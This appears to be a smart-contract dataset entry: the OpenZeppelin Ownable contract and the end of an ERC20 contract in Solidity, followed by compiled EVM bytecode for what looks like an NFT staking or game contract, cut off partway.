* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
} | 0x6080604052600436106101405760003560e01c8063715018a6116100b6578063c9a52dec1161006f578063c9a52dec146103ec578063ca7369d914610415578063e5f17a7f1461042c578063f1d30ba014610443578063f2fde38b1461046e578063fe2bf8d31461049757610140565b8063715018a6146102f057806376531008146103075780638723a6a8146103305780638da5cb5b14610359578063bfbf90f414610384578063c2db1166146103af57610140565b80631fbe1979116101085780631fbe1979146102045780632a1b0a191461021b578063382396ee146102465780633ccfd60b1461027c57806343c0cc691461029357806349733d04146102d457610140565b8063038984ab14610145578063052d9e7e14610170578063055ad42e146101995780631249c58b146101c457806316c38b3c146101db575b600080fd5b34801561015157600080fd5b5061015a6104d8565b6040516101679190613e32565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190613e83565b6104eb565b005b3480156101a557600080fd5b506101ae610584565b6040516101bb9190613ec9565b60405180910390f35b3480156101d057600080fd5b506101d961061c565b005b3480156101e757600080fd5b5061020260048036038101906101fd9190613e83565b6106b8565b005b34801561021057600080fd5b50610219610751565b005b34801561022757600080fd5b5061023061083c565b60405161023d9190613ec9565b60405180910390f35b34801561025257600080fd5b5061025b6108c5565b6040516102739c9b9a99989796959493929190613ee4565b60405180910390f35b34801561028857600080fd5b50610291610941565b005b34801561029f57600080fd5b506102ba60048036038101906102b59190613ffc565b610a50565b6040516102cb959493929190614029565b60405180910390f35b6102ee60048036038101906102e991906140a8565b610a74565b005b3480156102fc57600080fd5b50610305610b5d565b005b34801561031357600080fd5b5061032e60048036038101906103299190613e83565b610be5565b005b34801561033c57600080fd5b50610357600480360381019061035291906140a8565b610c7e565b005b34801561036557600080fd5b5061036e610d4f565b60405161037b91906140e4565b60405180910390f35b34801561039057600080fd5b50610399610d79565b6040516103a6919061415e565b60405180910390f35b3480156103bb57600080fd5b506103d660048036038101906103d19190613ffc565b610d9f565b6040516103e3919061437e565b60405180910390f35b3480156103f857600080fd5b50610413600480360381019061040e9190614405565b610ece565b005b34801561042157600080fd5b5061042a610fc4565b005b34801561043857600080fd5b506104416110b6565b005b34801561044f57600080fd5b506104586111cb565b6040516104659190614473565b60405180910390f35b34801561047a57600080fd5b5061049560048036038101906104909190613ffc565b6111f1565b005b3480156104a357600080fd5b506104be60048036038101906104b99190613ffc565b6112e9565b6040516104cf959493929190614029565b60405180910390f35b601360169054906101000a900460ff1681565b6104f361130d565b73ffffffffffffffffffffffffffffffffffffffff16610511610d4f565b73ffffffffffffffffffffffffffffffffffffffff1614610567576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055e906144eb565b60405180910390fd5b80601360166101000a81548160ff02191690831515021790555050565b600080604051806080016040528061271081526020016127108152602001614e208152602001612710815250905060005b6004811015610616578181600481106105d1576105d061450b565b5b6020020151836105e19190614569565b9250826008541015610603576001816105fa9190614569565b92505050610619565b808061060e906145bf565b9150506105b5565b50505b90565b3373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff161461068a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068190614654565b60405180910390fd5b6106b633601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611315565b565b6106c061130d565b73ffffffffffffffffffffffffffffffffffffffff166106de610d4f565b73ffffffffffffffffffffffffffffffffffffffff1614610734576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072b906144eb565b60405180910390fd5b80601360146101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16146107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b690614654565b60405180910390fd5b601360159054906101000a900460ff1661080e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610805906146c0565b60405180910390fd5b61083a33601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611663565b565b600080604051806080016040528061271081526020016127108152602001614e208152602001612710815250905060005b60048110156108bf578181600481106108895761088861450b565b5b6020020151836108999190614569565b92508260085410156108ac5750506108c2565b80806108b7906145bf565b91505061086d565b50505b90565b600080600080600080600080600080600080601360149054906101000a900460ff169b506108f1610584565b9a50600654995060085498506007549750878a61090e91906146e0565b96506010549550600f5494506009549350600a549250601154915061093161083c565b9050909192939495969798999a9b565b61094961130d565b73ffffffffffffffffffffffffffffffffffffffff16610967610d4f565b73ffffffffffffffffffffffffffffffffffffffff16146109bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b4906144eb565b60405180910390fd5b60004711610a00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f790614760565b60405180910390fd5b610a08610d4f565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610a4d573d6000803e3d6000fd5b50565b6000806000806000610a6186611748565b9450945094509450945091939590929450565b3373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614610ae2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad990614654565b60405180910390fd5b601360149054906101000a900460ff1615610b4757601360169054906101000a900460ff16610b46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3d906147cc565b60405180910390fd5b5b610b50816117f6565b610b5a3382611a7a565b50565b610b6561130d565b73ffffffffffffffffffffffffffffffffffffffff16610b83610d4f565b73ffffffffffffffffffffffffffffffffffffffff1614610bd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd0906144eb565b60405180910390fd5b610be36000611b82565b565b610bed61130d565b73ffffffffffffffffffffffffffffffffffffffff16610c0b610d4f565b73ffffffffffffffffffffffffffffffffffffffff1614610c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c58906144eb565b60405180910390fd5b80601360156101000a81548160ff02191690831515021790555050565b60001515601360149054906101000a900460ff16151514610cd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccb90614838565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614610d42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3990614654565b60405180910390fd5b610d4c3382611c48565b50565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6060600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480602002602001604051908101604052809291908181526020016000905b82821015610ec357838290600052602060002090600502016040518060a0016040529081600082015481526020016001820160009054906101000a900460ff16151515158152602001600282015481526020016003820154815260200160048201805480602002602001604051908101604052809291908181526020018280548015610eab57602002820191906000526020600020905b815481526020019060010190808311610e97575b50505050508152505081526020019060010190610e00565b505050509050919050565b60001515601360149054906101000a900460ff16151514610f24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1b90614838565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614610f92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8990614654565b60405180910390fd5b610fc0338383601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611e2f565b5050565b60001515601360149054906101000a900460ff1615151461101a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101190614838565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614611088576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107f90614654565b60405180910390fd5b6110b433601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166120f9565b565b60001515601360149054906101000a900460ff1615151461110c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110390614838565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff161461117a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117190614654565b60405180910390fd5b6111c933601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612384565b565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6111f961130d565b73ffffffffffffffffffffffffffffffffffffffff16611217610d4f565b73ffffffffffffffffffffffffffffffffffffffff161461126d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611264906144eb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156112dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d4906148ca565b60405180910390fd5b6112e681611b82565b50565b60008060008060006112fa86612797565b9450945094509450945091939590929450565b600033905090565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060405180604001604052908160008201548152602001600182015481525050905060008160000151116113be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b590614936565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008082016000905560018201600090555050600061141f8260000151612845565b9050600061142c826128be565b90506000819050600080856020015167ffffffffffffffff81111561145457611453614956565b5b6040519080825280602002602001820160405280156114825781602001602082028036833780820191505090505b50905060005b86602001518110156115d95761149c613cd0565b6000821180156114ac5750600086115b156114c8576114ba856128f2565b96506114c5876128be565b94505b60008514156114e0576114d9612929565b9050611504565b605085106114f8576114f187612966565b9050611503565b611500612929565b90505b5b60016006546115139190614569565b6006819055508873ffffffffffffffffffffffffffffffffffffffff166309d3df178b600654846040518463ffffffff1660e01b8152600401611558939291906149c7565b600060405180830381600087803b15801561157257600080fd5b505af1158015611586573d6000803e3d6000fd5b505050506006548383815181106115a05761159f61450b565b5b6020026020010181815250508060000151156115c55783806115c1906145bf565b9450505b5080806115d1906145bf565b915050611488565b5060008211156115f857816007546115f19190614569565b6007819055505b8773ffffffffffffffffffffffffffffffffffffffff167f9bf74d267e5e4ecd3a02e9148879a4321e249b3a8bb571808b86406fce8f10118384896020015161164191906146e0565b8460405161165193929190614a6d565b60405180910390a25050505050505050565b601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080820160009055600182016000905550506000806116c6600085856000612acd565b508093508192505050600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061171a9190613cf3565b81600f5461172891906146e0565b600f819055508060105461173c91906146e0565b60108190555050505050565b600080600080600080600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060405180604001604052908160008201548152602001600182015481525050905080600001519550806020015194506117cc8160000151613040565b93506117db8160000151613091565b92506117ea81600001516130b1565b91505091939590929450565b600061180061083c565b9050600082118015611813575060328211155b801561185057508060018360085461182b9190614569565b61183591906146e0565b61183f9190614ada565b8160085461184d9190614ada565b11155b61188f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188690614b57565b60405180910390fd5b61c350826008546118a09190614569565b11156118e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d890614bc3565b60405180910390fd5b60006118eb610584565b9050600181141561194f578266ee08251ff380006119099190614be3565b341461194a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194190614c89565b60405180910390fd5b611a75565b60003414611992576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198990614cf5565b60405180910390fd5b600060028214156119af57690878678326eac900000090506119d9565b60038214156119ca57690cb49b44ba602d80000090506119d8565b6910f0cf064dd59200000090505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639dc29fac338684611a249190614be3565b6040518363ffffffff1660e01b8152600401611a41929190614d15565b600060405180830381600087803b158015611a5b57600080fd5b505af1158015611a6f573d6000803e3d6000fd5b50505050505b505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015414611aff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af690614d8a565b60405180910390fd5b604051806040016040528043815260200182815250600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015590505080600854611b789190614569565b6008819055505050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015414611ccd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc490614df6565b60405180910390fd5b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905011611d52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4990614e62565b60405180910390fd5b6001811480611d615750600281145b80611d6c5750600381145b611dab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da290614ece565b60405180910390fd5b60018114611dc057611dbe8260016130d2565b505b604051806040016040528082815260200143815250601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000155602082015181600101559050505050565b6000601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015414611eb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eab90614df6565b60405180910390fd5b60008383905011611efa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef190614f3a565b60405180910390fd5b6b07c13bc4b2c133c56000000060095410611f4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4190614fa6565b60405180910390fd5b600080611f59868686866132bf565b809250819350505081601054611f6f9190614569565b60108190555080600f54611f839190614569565b600f8190555060005b858590508110156120a05760005b868683818110611fad57611fac61450b565b5b9050602002810190611fbf9190614fd5565b905081101561208c576000878784818110611fdd57611fdc61450b565b5b9050602002810190611fef9190614fd5565b8381811061200057611fff61450b565b5b9050602002013590508573ffffffffffffffffffffffffffffffffffffffff166394e8b4618a30846040518463ffffffff1660e01b815260040161204693929190615038565b600060405180830381600087803b15801561206057600080fd5b505af1158015612074573d6000803e3d6000fd5b50505050508080612084906145bf565b915050611f9a565b508080612098906145bf565b915050611f8c565b508573ffffffffffffffffffffffffffffffffffffffff167f4bff4cfc29a6b1303d33a0236265d6d2c443efdf1a2ca22fb5666c7848b0fa0386866040516120e9929190615205565b60405180910390a2505050505050565b6000601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549050600061214d846000613623565b9050600080831115612266576001601260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154146121de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d590615275565b60405180910390fd5b60006121e984612845565b905060006121f6826128be565b905060328111612209576000925061220d565b8392505b601260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080820160009055600182016000905550505050612282565b60646050836122759190614be3565b61227f9190615295565b90505b60008111156122f9578373ffffffffffffffffffffffffffffffffffffffff1663e3128e6f86836040518363ffffffff1660e01b81526004016122c6929190614d15565b600060405180830381600087803b1580156122e057600080fd5b505af11580156122f4573d6000803e3d6000fd5b505050505b6000818361230791906146e0565b111561232d57808261231991906146e0565b600a546123269190614569565b600a819055505b8473ffffffffffffffffffffffffffffffffffffffff167fcabfe493e5b089b11ccbb58bf0484889b2b67244263dc852467f974947c7362982846040516123759291906152c6565b60405180910390a25050505050565b6000601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015490506000811161240e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124059061533b565b60405180910390fd5b6000601260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154905060028114806124645750600381145b6124a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249a906153a7565b60405180910390fd5b60006124b0866001613623565b905060006124bd84612845565b905060006124ca826128be565b905060006014821161252d576124e0898361368e565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461252c5760016011546125259190614569565b6011819055505b5b6000849050600386141561257757600083111561256d5761254e8785613878565b9350612559846128be565b92506032831161256857600090505b612572565b600090505b612593565b60646050826125869190614be3565b6125909190615295565b90505b601260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000808201600090556001820160009055505060008060006125f6868e8d88612acd565b8093508194508295505050508260105461261091906146e0565b60108190555081600f5461262491906146e0565b600f81905550600b60008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006126759190613cf3565b60008411156126ec578b73ffffffffffffffffffffffffffffffffffffffff1663e3128e6f8e866040518363ffffffff1660e01b81526004016126b9929190614d15565b600060405180830381600087803b1580156126d357600080fd5b505af11580156126e7573d6000803e3d6000fd5b505050505b600084896126fa91906146e0565b111561272057838861270c91906146e0565b600a546127199190614569565b600a819055505b808573ffffffffffffffffffffffffffffffffffffffff168e73ffffffffffffffffffffffffffffffffffffffff167f364eb9c4dbd872d4d114d6081e2bf4af85d484d4f432a09c420f6e805f6d471d878c6040516127809291906152c6565b60405180910390a450505050505050505050505050565b600080600080600080601260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020604051806040016040529081600082015481526020016001820154815250509050806020015195508060000151945061281b8160200151613040565b935061282a8160200151613091565b925061283981602001516130b1565b91505091939590929450565b60008061285183613091565b14612891576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161288890615413565b60405180910390fd5b600061289c836130b1565b11156128b4576128ad826000613878565b90506128b9565b600090505b919050565b6000808211156128e85760016064836128d79190614ada565b6128e19190614569565b90506128ed565b600090505b919050565b60003242836040516020016129099392919061549c565b6040516020818303038152906040528051906020012060001c9050919050565b612931613cd0565b6000816000019015159081151581525050600454816040018181525050600160045461295d9190614569565b60048190555090565b61296e613cd0565b612977826128f2565b91506000612984836128be565b90506005811115801561299b57506101f460005411155b156129d157600882602001818152505060005482604001818152505060016000546129c69190614569565b600081905550612ab5565b601481111580156129e657506105dc60015411155b15612a1b57600782602001818152505060015482604001818152505060018054612a109190614569565b600181905550612ab4565b60328111158015612a305750610bb860025411155b15612a665760068260200181815250506002548260400181815250506001600254612a5b9190614569565b600281905550612ab3565b61138860035411612aa25760058260200181815250506003548260400181815250506001600354612a979190614569565b600381905550612ab2565b612aaa612929565b915050612ac8565b5b5b5b6001826000019015159081151581525050505b919050565b600080600080600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905088612b219190614ada565b905060005b600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050811015613034576000600b60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110612bc357612bc261450b565b5b90600052602060002090600502016040518060a0016040529081600082015481526020016001820160009054906101000a900460ff16151515158152602001600282015481526020016003820154815260200160048201805480602002602001604051908101604052809291908181526020018280548015612c6457602002820191906000526020600020905b815481526020019060010190808311612c50575b505050505081525050905080608001515185612c809190614569565b9450806020015115612e4357600186612c999190614569565b9550600185612ca891906146e0565b9450600081608001516001836080015151612cc391906146e0565b81518110612cd457612cd361450b565b5b602002602001015190506000600d600084606001518152602001908152602001600020805490509050600181118015612d2b5750600181612d1591906146e0565b600e600084815260200190815260200160002054105b15612dec576000600d600085606001518152602001908152602001600020600183612d5691906146e0565b81548110612d6757612d6661450b565b5b90600052602060002001549050600e600084815260200190815260200160002054600e60008381526020019081526020016000208190555080600d600086606001518152602001908152602001600020600e60008681526020019081526020016000205481548110612ddc57612ddb61450b565b5b9060005260206000200181905550505b600d600084606001518152602001908152602001600020805480612e1357612e126154d9565b5b60019003818190600052602060002001600090559055600e60008381526020019081526020016000206000905550505b60005b81608001515181101561301f57600082608001518281518110612e6c57612e6b61450b565b5b60200260200101519050600c600082815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690558484148015612ee85750600073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b8015612f1f575060018360800151511480612f1e57506001836080015151612f1091906146e0565b8c612f1b9190614ada565b82145b5b15612f9b578973ffffffffffffffffffffffffffffffffffffffff166394e8b461308b846040518463ffffffff1660e01b8152600401612f6193929190615038565b600060405180830381600087803b158015612f7b57600080fd5b505af1158015612f8f573d6000803e3d6000fd5b5050505080955061300b565b8973ffffffffffffffffffffffffffffffffffffffff166394e8b461308d846040518463ffffffff1660e01b8152600401612fd893929190615038565b600060405180830381600087803b158015612ff257600080fd5b505af1158015613006573d6000803e3d6000fd5b505050505b508080613017906145bf565b915050612e46565b5050808061302c906145bf565b915050612b26565b50509450945094915050565b600080821415613053576000905061308c565b600061305e83613091565b111561306d576001905061308c565b6000613078836130b1565b1115613087576002905061308c565b600390505b919050565b60006130aa82600160036130a59190614569565b61390e565b9050919050565b60006130cb8260016101006130c69190614569565b61390e565b9050919050565b600080600090505b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905081101561325c576000600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481106131775761317661450b565b5b9060005260206000209060050201905061322c816040518060a0016040529081600082015481526020016001820160009054906101000a900460ff1615151515815260200160028201548152602001600382015481526020016004820180548060200260200160405190810160405280929190818152602001828054801561321e57602002820191906000526020600020905b81548152602001906001019080831161320a575b505050505081525050613947565b836132379190614569565b925083613248574281600001819055505b508080613254906145bf565b9150506130da565b5060001515821515148061327a575069043c33c19375648000008110155b6132b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132b090615554565b60405180910390fd5b92915050565b60008060005b85859050811015613619573660008787848181106132e6576132e561450b565b5b90506020028101906132f89190614fd5565b91509150600080600080600090506133128d87878d6139ed565b80945081955082965083975050505050600083118015613333575060038311155b613372576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613369906155c0565b60405180910390fd5b60018411156133b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133ad9061562c565b60405180910390fd5b60008414806133d357506001868690506133d091906146e0565b81145b613412576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161340990615698565b60405180910390fd5b838961341e9190614569565b9850828861342c9190614569565b9750600b60008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060a001604052804281526020016000871115158152602001858152602001848152602001888880806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505081525090806001815401808255809150506001900390600052602060002090600502016000909190919091506000820151816000015560208201518160010160006101000a81548160ff0219169083151502179055506040820151816002015560608201518160030155608082015181600401908051906020019061355d929190613d17565b5050506000841115613600576000868660018989905061357d91906146e0565b81811061358d5761358c61450b565b5b905060200201359050600d600084815260200190815260200160002080549050600e600083815260200190815260200160002081905550600d6000848152602001908152602001600020819080600181540180825580915050600190039060005260206000200160009091909190915055505b5050505050508080613611906145bf565b9150506132c5565b5094509492505050565b60008061363084846130d2565b90506b07c13bc4b2c133c5600000008160095461364d9190614569565b1115613670576009546b07c13bc4b2c133c56000000061366d91906146e0565b90505b8060095461367e9190614569565b6009819055508091505092915050565b60008061369a836128f2565b905060006136a7826128be565b90506000600582116136bc57600590506136e5565b601482116136cd57600690506136e4565b603282116136de57600790506136e3565b600890505b5b5b60006004905060008290506000600190505b600083111561386757828061370b906156b8565b9350506000600d600086815260200190815260200160002080549050905060008114613829576000818861373f9190614ada565b905060005b828110156138265782821061375857600091505b6000600c6000600d60008b815260200190815260200160002085815481106137835761378261450b565b5b9060005260206000200154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff168d73ffffffffffffffffffffffffffffffffffffffff161461380457809a5050505050505050505050613872565b828061380f906145bf565b935050818061381d906145bf565b92505050613744565b50505b6008851061383957600091508294505b811561385257848061384a906145bf565b955050613861565b848061385d906156b8565b9550505b506136f7565b600096505050505050505b92915050565b6000613882613d64565b60005b60038110156138d6578060018661389c9190614569565b6138a69190614569565b408282600381106138ba576138b961450b565b5b60200201818152505080806138ce906145bf565b915050613885565b503281846040516020016138ec93929190615797565b6040516020818303038152906040528051906020012060001c91505092915050565b600080834361391d91906146e0565b905082811115613931576000915050613941565b808361393d91906146e0565b9150505b92915050565b6000806000905082602001511561399f57600a80846060015161396a9190614569565b69021e19e0c9bab240000085604001516139849190614be3565b61398e9190614be3565b6139989190615295565b90506139bc565b69021e19e0c9bab240000083604001516139b99190614be3565b90505b62015180818460000151426139d191906146e0565b6139db9190614be3565b6139e59190615295565b915050919050565b60008060008060005b87879050811015613cc4576000888883818110613a1657613a1561450b565b5b905060200201359050600073ffffffffffffffffffffffffffffffffffffffff16600c600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613ab890615275565b60405180910390fd5b8973ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16636352211e836040518263ffffffff1660e01b8152600401613b119190613ec9565b602060405180830381865afa158015613b2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613b5291906157e9565b73ffffffffffffffffffffffffffffffffffffffff1614613ba8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613b9f90615862565b60405180910390fd5b6000808873ffffffffffffffffffffffffffffffffffffffff1663075927bf846040518263ffffffff1660e01b8152600401613be49190613ec9565b6040805180830381865afa158015613c00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613c2491906158ac565b80925081935050508115613c4c57600188613c3f9190614569565b9750809550839450613c5c565b600187613c599190614569565b96505b8b600c600085815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050508080613cbc906145bf565b9150506139f6565b50945094509450949050565b604051806060016040528060001515815260200160008152602001600081525090565b5080546000825560050290600052602060002090810190613d149190613d86565b50565b828054828255906000526020600020908101928215613d53579160200282015b82811115613d52578251825591602001919060010190613d37565b5b509050613d609190613dd9565b5090565b6040518060600160405280600390602082028036833780820191505090505090565b5b80821115613dd5576000808201600090556001820160006101000a81549060ff021916905560028201600090556003820160009055600482016000613dcc9190613df6565b50600501613d87565b5090565b5b80821115613df2576000816000905550600101613dda565b5090565b5080546000825590600052602060002090810190613e149190613dd9565b50565b60008115159050919050565b613e2c81613e17565b82525050565b6000602082019050613e476000830184613e23565b92915050565b600080fd5b600080fd5b613e6081613e17565b8114613e6b57600080fd5b50565b600081359050613e7d81613e57565b92915050565b600060208284031215613e9957613e98613e4d565b5b6000613ea784828501613e6e565b91505092915050565b6000819050919050565b613ec381613eb0565b82525050565b6000602082019050613ede6000830184613eba565b92915050565b600061018082019050613efa600083018f613e23565b613f07602083018e613eba565b613f14604083018d613eba565b613f21606083018c613eba565b613f2e608083018b613eba565b613f3b60a083018a613eba565b613f4860c0830189613eba565b613f5560e0830188613eba565b613f63610100830187613eba565b613f71610120830186613eba565b613f7f610140830185613eba565b613f8d610160830184613eba565b9d9c50505050505050505050505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613fc982613f9e565b9050919050565b613fd981613fbe565b811461